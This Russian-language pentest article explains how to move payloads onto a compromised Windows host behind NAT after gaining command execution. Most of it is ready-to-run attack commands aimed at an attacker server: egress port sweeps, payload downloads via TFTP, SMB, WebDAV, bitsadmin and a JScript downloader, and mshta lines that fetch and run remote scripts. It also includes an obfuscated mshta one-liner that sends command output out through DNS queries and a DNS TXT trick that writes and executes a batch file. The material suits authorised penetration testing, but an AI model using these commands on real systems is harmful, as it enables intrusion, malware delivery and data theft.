Как правило, большие и средние компании строят свою внутреннюю инфраструктуру на решениях Microsoft. В основном это парк машин на XP/7, состоящих в домене с функциональным уровнем леса — Windows Server 2003. Периметр и демилитаризованные зоны часто представлены *nix-like системами. Во время проведения пентестов для таких компаний часто возникает классическая задача — перебросить файл с хоста на удаленную машину под управлением Windows. Наиболее распространенный случай — это RCE через уязвимость веб-приложения или ошибка в конфигурации сервисов. Не будем вдаваться в особенности реализации вектора атаки, а остановимся на задаче загрузки файла на целевую машину. Эта задача порой может отнять кучу времени, если не подготовиться как следует. Но мы-то готовы ко всему. Даже тогда, когда в нашем распоряжении есть лишь минимальный набор инструментов, немногим варьирующий от версии к версии ОС, который позволяет в полной мере выполнить поставленную задачу.

Problem condition

В первую очередь давай определимся с ситуацией — она банальна и повседневна для пентестера :). Имеется некий вектор атаки, позволяющий выполнять команды ОС. Сервер может находиться на периметре, в демилитаризованной зоне или в интранете. Эти условия непринципиальны. Чтобы было проще, давай введем такие именования:

• TARGET — машина, на которой имеем выполнение команд, на базе Windows, у нее только один сетевой интерфейс, смотрящий внутрь сети (192.168.1.10);
• GATE — шлюз, который связывает внутреннюю сеть и интернет. Ось непринципиальна. Соответственно, на нем два сетевых интерфейса (192.168.1.1 и 5.5.5.5);
• ATTACKER — наш подконтрольный сервер, на базе Bactrack 5r3 / Kali linux, с IP-адресом 1.2.3.4.

Firewall holes

Прежде чем начать передачу целевого файла, важно найти способ надежного соединения с узлом. Поиск прямых каналов связи на транспортном уровне с эксплуатируемым узлом (IP: 192.168.1.10) решается последовательным перебором портов на контролируемом сервере (IP: 1.2.3.4). Из стандартного инструментария можем воспользоваться Telnet, nslookup, PowerShell. Telnet и nslookup целесообразно использовать в версиях до Windows 2003 включительно, а начиная с Windows Vista рекомендуется использовать PowerShell. В принципе, если бы не досадная ошибка в nslookup, у нас мог бы быть универсальный инструмент для всех версий Windows. Очевидный факт: если в системе нет Telnet, то там есть PowerShell.

Для того чтобы понять, когда именно к нам придет подключение, запустим покорный tcpdump:

tcpdump host 5.5.5.5

В свою очередь, будем пробовать подключаться к нашему внешнему серверу с машины, на которой у нас выполнение команд. Для версий Windows <= Windows 2003 TCP-порты FOR /L %i IN (1,1,65535) DO (cmd /c "start /b telnet 1.2.3.4 %i") UDP-порты FOR /L %i IN (1,1,65535) DO (cmd /c "start /b nslookup -port=%i ya.ru 1.2.3.4")

Для Windows Vista и более поздних версий винды будем использовать PowerShell.

Для TCP-портов:

function sT($IP,$Port) {$Address = [system.net.IPAddress]::Parse($IP);$End = New-Object System.Net.IPEndPoint $address, $port;$Saddrf = [System.Net.Sockets.AddressFamily]::InterNetwork;$Stype = [System.Net.Sockets.SocketType]::Stream;$Ptype = [System.Net.Sockets.ProtocolType]::TCP;$Sock = New-Object System.Net.Sockets.Socket $saddrf, $stype, $ptype;$Sock.TTL = 26;try { $sock.Connect($End);[Byte[]] $Message = [char[]]"w00tw00t";$Sent = $Sock.Send($Message);$sock.EndConnect($Connect)} catch {};$Sock.Close();};1..65535 | %{ sT -IP "1.2.3.4" -Port $_ }

Для UDP-портов:

function sU($IP, [int]$Port){$Address = [system.net.IPAddress]::Parse($IP);$End = New-Object System.Net.IPEndPoint($Address, $port);$Saddrf=[System.Net.Sockets.AddressFamily]::InterNetwork;$Stype=[System.Net.Sockets.SocketType]::Dgram;$Ptype=[System.Net.Sockets.ProtocolType]::UDP;$Sock=New-Object System.Net.Sockets.Socket $saddrf, $stype, $ptype;$Sock.TTL = 26;$sock.Connect($end);$Enc=[System.Text.Encoding]::ASCII;$Message = "w00tw00t";$Buffer=$Enc.GetBytes($Message);$Sent=$Sock.Send($Buffer);}; 1..65535 | %{ sU -IP "1.2.3.4" -Port $_ }

Естественно, куски этого кода необходимо заэнкодить в Base64, после чего передавать полученное значение как аргумент к команде PowerShell с параметром -encodedCommand.

Также стоит упомянуть о таком проекте, как letmeoutofyour от @mubix для проверки доступных каналов во внешнюю сеть. На любой HTTP-запрос отвечает w00tw00t.

FTP

Признан самым распространенным способом загрузки целевого файла и вообще является одним из старейших протоколов прикладного уровня. Основные достоинства загрузки через FTP — простота использования и наличие приложения во всех версиях систем. Если хост находится за NAT, то в большинстве случаев необходимо использовать режим работы passive mode, иначе сервер не сможет подключиться к клиенту. Существуют реализации расширений для NAT и сетевых экранов, позволяющие клиентам работать в активном режиме, но это большая редкость и небезопасно. Стандартная функциональность позволяет указать любой порт удаленного сервера.

TFTP

Клиент TFTP реализован во всех версиях семейства Windows, но начиная с версии Windows Vista отключен и не доступен по умолчанию. Особенность TFTP — он основан на транспортном протоколе UDP. Зачастую при полной фильтрации TCP удается передать файл по UDP. Достаточно запустить сервис

atftpd --daemon --port 69 /tmp

и выполнить на клиенте последовательность простых команд

dism /online /enable-feature /featurename:TFTP tftp –i 1.2.3.4 GET payload.exe

Telnet

Клиент Telnet также реализован во всех версиях семейства Windows и также отключен и недоступен начиная с версии Windows Vista. Задумывалось, что Telnet будет использоваться для работы с протоколами уровня приложений. Клиент тоже поддерживает работу на транспортном уровне, правда с некоторыми особенностями, для нас не важными. Использование клиента Telnet в качестве транспорта для бинарных файлов невозможно из-за специфики протокола (более подробно в RFC854 про ). Поэтому без потерь можно передавать файлы, содержащие стандартный набор ASCII-символов.

На сервере запустим netcat, который будет передавать содержимое нашего файла: 

nc -q 20 -lvp 23 < evil.bat

На клиенте же, в свою очередь, заэнейблим Telnet, если он отключен:

dism /online /enable-feature /featurename:TelnetClient

и таким нехитрым способом подключимся к серверу и сохраним в файл то, что он нам передал:

mode CON COLS=200000 && telnet 172.16.61.21 -f c:command.bat

mode CON COLS=200000 устанавливает количество колонок (читай — символов), после которого клиент Telnet добавит символы . В принципе, если максимальная длина не превышает настроек lines, то можно специально не задавать.

Ключ –f клиента Telnet позволяет записывать stdin сессии в указанный файл. Кстати, так же можно использовать в *nix, если в наличии нет доступного инструмента. Обязательное условие успешной эксплуатации — наличие символов <CR><LF> в конце строки. Быстро сконвертировать файл, созданный в *nix, можно командой

unix2dos evil.bat

SAMBA

Samba — свободное ПО, в серверной части которого реализована работа с протоколом SMB/CIFS. CIFS — протокол уровня приложений для работы с файловой системой по сети. Рассмотрим ситуацию, когда невозможно получить вывод команд, команды выполняются от непривилегированного пользователя, нет доступной для записи директории. В этом случае целесообразно установить на контролируемом сервере (IP: 1.2.3.4) службу Samba, настроить гостевую аутентификацию и разрешить запись в директорию.

Конфигурируем (/etc/samba/smb.conf) и запускаем Samba:

[global] workgroup = WORKGROUP security = share netbios = TEST server string = %h server (Samba, Ubuntu) [share] comment = File Server Share path = /tmp/share browsable = yes writable = yes guest ok = yes read only = no create mask = 0755`

и запускаем сервис:

sudo service smbd start

После чего монтируем только что созданный ресурс как диск

net use X: 1.2.3.4

и копируем необходимый файл

copy X:payload.exe C:payload.exe

Windows Script Host

Что это вообще такое? WSH — автономный сервер, предназначенный для выполнения сценариев на уровне ОС. Является встроенным компонентом и присутствует во всех версиях начиная с Windows 2000. По умолчанию интерпретирует два типа сценариев. Первый тип — автономные сценарии, реализованные на языках VBScript/JScript. Как правило, файлы сценариев имеют расширения vbs, vbe и js, jse соответственно. Второй тип — файлы wsf (Windows Script File). Это текстовый документ, содержащий код XML.

VBScript/JScript

Cкриптовые объектно-ориентированные языки программирования, интерпретируемые сервером Windows Script Host. Серверов, кстати, два: cscript — консольный и wscript — интерактивный. Сервер по умолчанию — wscript. Эти языки создавались для автоматизации рутинных действий, администрирования и обработки данных. Для доступа к элементам системы используют COM (Component Object Model). Кстати, если соберешься написать что-нибудь, при прочих равных условиях выбирай JScript, так как он имеет приятный легко читаемый синтаксис и поддерживается многими IDE. К сожалению, передать скрипт как аргумент серверу WSH нельзя. Обязательно нужно указывать путь к сценарию. Процедура, реализующая получение файла с HTTP/HTTPS:

function HTTPGetDownload(url, file) { // create an HTTP object var http = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); // download the specified URL http.open("GET", url); http.send(); var stream = new ActiveXObject("ADODB.Stream"); stream.type = 1; stream.open(); // write the downloaded byte stream to the target file stream.write(http.responseBody); stream.saveToFile(file,2); } HTTPGetDownload("http://1.2.3.4/payload.exe", "payload.exe");

Windows Script File

Сценарии WSF могут одновременно содержать JScript- и VBScript-сценарии. Это сделано для того, чтобы увеличить гибкость написания кода, а также обеспечить модульность и повторное использование кода.

Вот несколько набросков, которые реализуют передачу файла с различных ресурсов:

> HTTP/HTTPS <job><script language="VBScript" src="http://1.2.3.4:80/payload.vbs"></script></job>  > FTP <job><script language="VBScript" src="ftp://1.2.3.4:21/payload.vbs"></script></job>  > UNC <job><script language="VBScript" src="1.2.3.4payload.vbs"></script></job>

На просторах Сети добрый китайский коллега zzzEVAzzz реализовал скрипт Any2Bat — любой файл путем преобразований можно сконвертировать в bat. Логика работы проста: создается файл архив cab, преобразуется в Base64 и оборачивается в WSF. В WSF содержится VBScript, который читает себя как XML (как ранее было отмечено, WSF описывается XML), берет первый элемент и сохраняет содержимое в cab. Полученный WSF преобразуется в bat путем добавления к каждой строке

@echo … > payload.wsf

На основе скрипта zzzEVAzzz была реализована версия на PowerShell. Теперь можно конвертировать целевой cab в WSF или bat. Ее ты сможешь найти на нашем диске.

MHTA

Mshta.exe (Microsoft HTML Application Host) — служебная программа для выполнения HTA (HTML Applications). HTA — это HTML-страница, которая имеет доступ к ресурсам системы через COM, выполняя скрипты JScript/VBScript. В принципе, это полноценный Internet Explorer, только без зон безопасности. Таким образом у нас есть возможность изменять реестр, работать с файлами и сетью. Утилита принимает один параметр командной строки — то, что попадет в browser address bar. Поэтому мы можем передать ссылку на HTA или скриптовый блок. Расширение не имеет значения.

Выполняем VBScript/JScript, расположенный на удаленном хосте:

mshta http://1.2.3.4:80/payload.vbs mshta https://1.2.3.4:443/payload.vbs mshta ftp://1.2.3.4:21/payload.vbs mshta 1.2.3.4payload.vbs

Выполняем VBScript/JScript как аргумент запуска команды:

mshta vbscript:Execute("WScript.Echo 1")  mshta javascript:Execute('WScript.Echo(1);')

WebDAV

Протокол прикладного уровня, расширяющий возможности протокола HTTP/HTTPS для удаленной работы с файлами. Начиная с версии Windows XP клиент WebDAV реализован в виде службы WebClient. Серверная часть представлена, как правило, расширениями для Apache и IIS. WebDAV, так же как и SMB/CIFS, решает задачу с поиском папки для записи — расширение дискового пространства с правами на запись для группы «Все». По сравнению с SMB/CIFS применение WebDAV в некоторых случаях более гибкое, так как поддерживает работу по HTTP. Начиная с версии Windows XP SP3, а именно предустановленного апдейта KB892211, появляется поддержка SSL и возможность выбора произвольного порта. Более ранние версии WebDAV mini-redirector поддерживают работу исключительно по HTTP и 80-му порту. В корпоративных средах повсеместно распространена практика использования прокси-серверов в качестве шлюза в интернет. В тех случаях, когда другие способы не работают — нет поддержки прокси-сервера, целесообразно использовать WebDAV.

Proxy settings

Давай рассмотрим тему настройки прокси-сервера для пользователя. С точки зрения системного администрирования существуют четыре возможных сценария предоставить пользователю настройки прокси-сервера:

• WPAD;
• PAC;
• Group policy;
• User choice.

WPAD

Web Proxy Auto-Discovery Protocol используется, если в настройках браузера активна Automaticly detect setting.

Настраивается соответствующими записями на серверах DNS или DHCP. При получении настроек через DNS должно соблюдаться условие публикации файла: только HTTP, только 80-й порт. В DHCP может использоваться любой порт. Если ты смотришь на URL настроек WPAD и там используется нестандартный порт, то знай, что настройки получены по DHCP ;).

Например, компьютер находится в домене r1.d2.phdays.com. В поисках файла настройки браузер последовательно обращается к таким URL:

http://wpad.r1.d2.phdays.com/wpad.dat http://wpad.d2.phdays.com/wpad.dat http://wpad.phdays.com/wpad.dat http://wpad.com/wpad.dat (OOOOPS!)

PAC

Proxy auto config — на практике WPAD — это и есть переименованный файл с PAC. Если посмотреть код, то обнаружишь там JavaScript-функцию FindProxyForURL, которая возвращает адрес прокси-сервера в зависимости от запрашиваемого хоста.

Group policy

Групповыми политиками назначают PAC или отдельно прокси-сервер для протокола.

User choice

Прокси-сервер не назначается администратором домена.

Dig deeper

Рассмотрим такую ситуацию: успешная эксплуатация хоста -> привилегии NT AUTHORITYSYSTEM -> прокси-сервер настроен у пользователя. Следующим шагом необходимо узнать адрес прокси-сервера. Вполне логично предположить, что пользователей может быть несколько с различными прокси-серверами, в зависимости от групповых политик. Возникает резонный вопрос: каким образом можно получить вывод исполнения команды? Стоит отметить, что сетевые настройки общие для системы, в том числе DNS. А в большинстве случаев внутренний DNS является авторитативным и сам разрешает доменные имена в IP-адреса. Таким образом, имея подконтрольный DNS-сервер с настроенным логированием, отвечающий за нашу зону, мы cможем просматривать вывод команд.

Реализуется это следующим образом:

FOR /F %I IN ('ipconfig /all') DO nslookup %I.ya.ru 1.2.3.4 mshta "javascript:function h(out){hxd='';for(a=0;a<out.length;a=a+1){hxd=hxd+out.charCodeAt(a).toString(16);}return hxd;}function r(cmd){var shell=new ActiveXObject('WScript.Shell');var se=shell.Exec(cmd);var out = '';while(!(se.StdOut.AtEndOfStream)){out=out+se.StdOut.ReadLine();}return out;}function ex(cmd){var out=h(r(cmd));query=out.match(/.{1,60}/g);for(v=0;v<query.length;v=v+1){r('nslookup '+v+'x'+query[v]+'.ya.ru')};}function e(){ex('proxycfg');}window.onload=e" 

Если у нас привилегии пользователя, то настройки прокси можно посмотреть так:

**Windows Vista (system proxy)** netsh winhttp show proxy  **Windows Vista (IE proxy)** reg query "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet Settings" /v ProxyServer`  **Windows XP & 2003 (IE proxy)** netsh diag connect ieproxy  **Windows XP & 2003 (system proxy)** proxycfg  Установка настроек прокси-сервера:  **Windows Vista (system proxy)** netsh winhttp set proxy proxy:3128  **Windows Vista (IE proxy)** Set-ItemProperty 'HKCU:SoftwareMicrosoftWindowsCurrentVersionInternet Settings' -name ProxyEnable -value 1 Set-ItemProperty 'HKCU:SoftwareMicrosoftWindowsCurrentVersionInternet Settings' -name ProxyServer "proxy:3128"  **Windows XP & 2003 (IE proxy)** proxycfg –p proxy:3128  **Windows XP & 2003 (system proxy)** proxycfg -U

WebDAV

Шаги для установки WebDAV на Apache.

Энэйблим модуль WebDAV

a2enmod dav_fs a2enmod dav /etc/init.d/apache2 restart 

Настраиваем WebDAV

mkdir -p /var/www/web/ chown www-data /var/www/web/  vim /etc/apache2/sites-available/default NameVirtualHost * <VirtualHost *> ServerAdmin webmaster@localhost DocumentRoot /var/www/web/ [Directory /var/www/web/][] Options Indexes MultiViews AllowOverride None Order allow,deny allow from all </Directory> Alias /webdav /var/www/web/ [Location /webdav][] DAV On </Location> </VirtualHost>  /etc/init.d/apache2 reload

Готово! Теперь можно использовать наш уютный сервис с удаленной машины :). Например, существует множество способов примонтировать свежеиспеченный ресурс:

net use x: http://1.2.3.4/webdav net use x: https://1.2.3.4/webdav /user:Guest Guest net use x: 1.2.3.4webdav net use x: 1.2.3.4@SSL@53webdav net use x: 1.2.3.4@53webdav

После чего, удачно смонтировав ресурс, копируем необходимый файл командой copy 

copy X:payload.exe C:payload.exe

nslookup

Nslookup является средством администрирования на основе командной строки и предназначена для проверки работоспособности DNS-серверов. Имеет два режима работы: интерактивный и консольный. Если нет возможности установить TCP-соединение с подконтрольным сервером, то можно использовать внутренний DNS для обмена данными с сетью. В 2008 году Кевин Бонг (Kevin Bong) рассмотрел и реализовал способ создания неинтерактивного шелла через опрос TXT записей (bit.ly/14aJGyM). Максимальная длина txt — 255 символов. Все кавычки в записи должны быть экранированы.

Так как вывод nslookup не содержит исполняемых команд, можно сделать проще и короче: заэкранировать обязательные обрамляющие кавычки и записывать вывод в bat.

Правим запись txt для подконтрольного домена (c1.attacker.com):

" & @echo ^<package^>^<cab xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="bin.base64"^> >payload & "

После чего на клиенте запускаем nslookup и перенаправляем вывод в файл:

nslookup -type=TXT c1.attacker.com >> payload.bat & payload.bat

PowerShell

Это фреймворк, созданный Microsoft, для автоматизации задач системного администрирования. Имеет CLI, подобный CMD, со встроенной поддержкой и интеграцией .NET Framework. Разработка началась в 2002 году под названием Monad. Первая RC-версия появилась в 2006 году и была переименована в Windows PowerShell. C выходом Windows Vista SP1 поставляется как компонент ОС. Windows 8/2012 поставляется с третьей версией, значительно расширенной командлетами. Windows 7/2008 поставляется со второй версией.

PowerShell — это такой слой абстракции, который делает удобной работу с компонентами системы: COM, WMI, ADSI. В результаты мы имеем простой унифицированный способ управления системой локально или удаленно.

Функциональность PowerShell обеспечивается командлетами — специальными командами, реализующими конкретный функционал. Например, командлет Get-Content или gc или cat — получить содержимое файла. gc и cat алиасы командлета Get-Content. При написании командлетов принято придерживаться именования verb-noun. Результат командлета — это объект или коллекция. Примеры кода, реализующего слив файла, ты найдешь на нашем диске.

bitsadmin

Wget для Windows :). Этим все сказано.

Параметры запуска достаточно просты:

bitsadmin /transfer whatever http://1.2.3.4:80/payload.exe c:payload.exe

Или же можно создать целую задачу для загрузки серии файлов с удаленного ресурса:

bitsadmin /CREATE /DOWNLOAD jobname bitsadmin /ADDFILE jobname http://1.2.3.4/payload1.exe p1.exe bitsadmin /ADDFILE jobname http://1.2.3.4/payload2.exe p2.exe bitsadmin /RESUME jobname bitsadmin /COMPLETE jobname

Ссылки:

• Презентация доклада
• Небольшой «cheat sheet»
• Демо использования nslookup
• Демо использования any2bat

Вместо заключения

В своей статье я постарался подробно прояснить ситуацию с загрузкой файлов на машины за NAT’ом. Надеюсь, что это хорошая отправная точка для дальнейшего ресерча и изучения множества других клевых «хаков». Если у тебя остались вопросы или комментарии, я с радостью на них отвечу. Удачного тебе закрепления на удаленной машине! Stay tuned!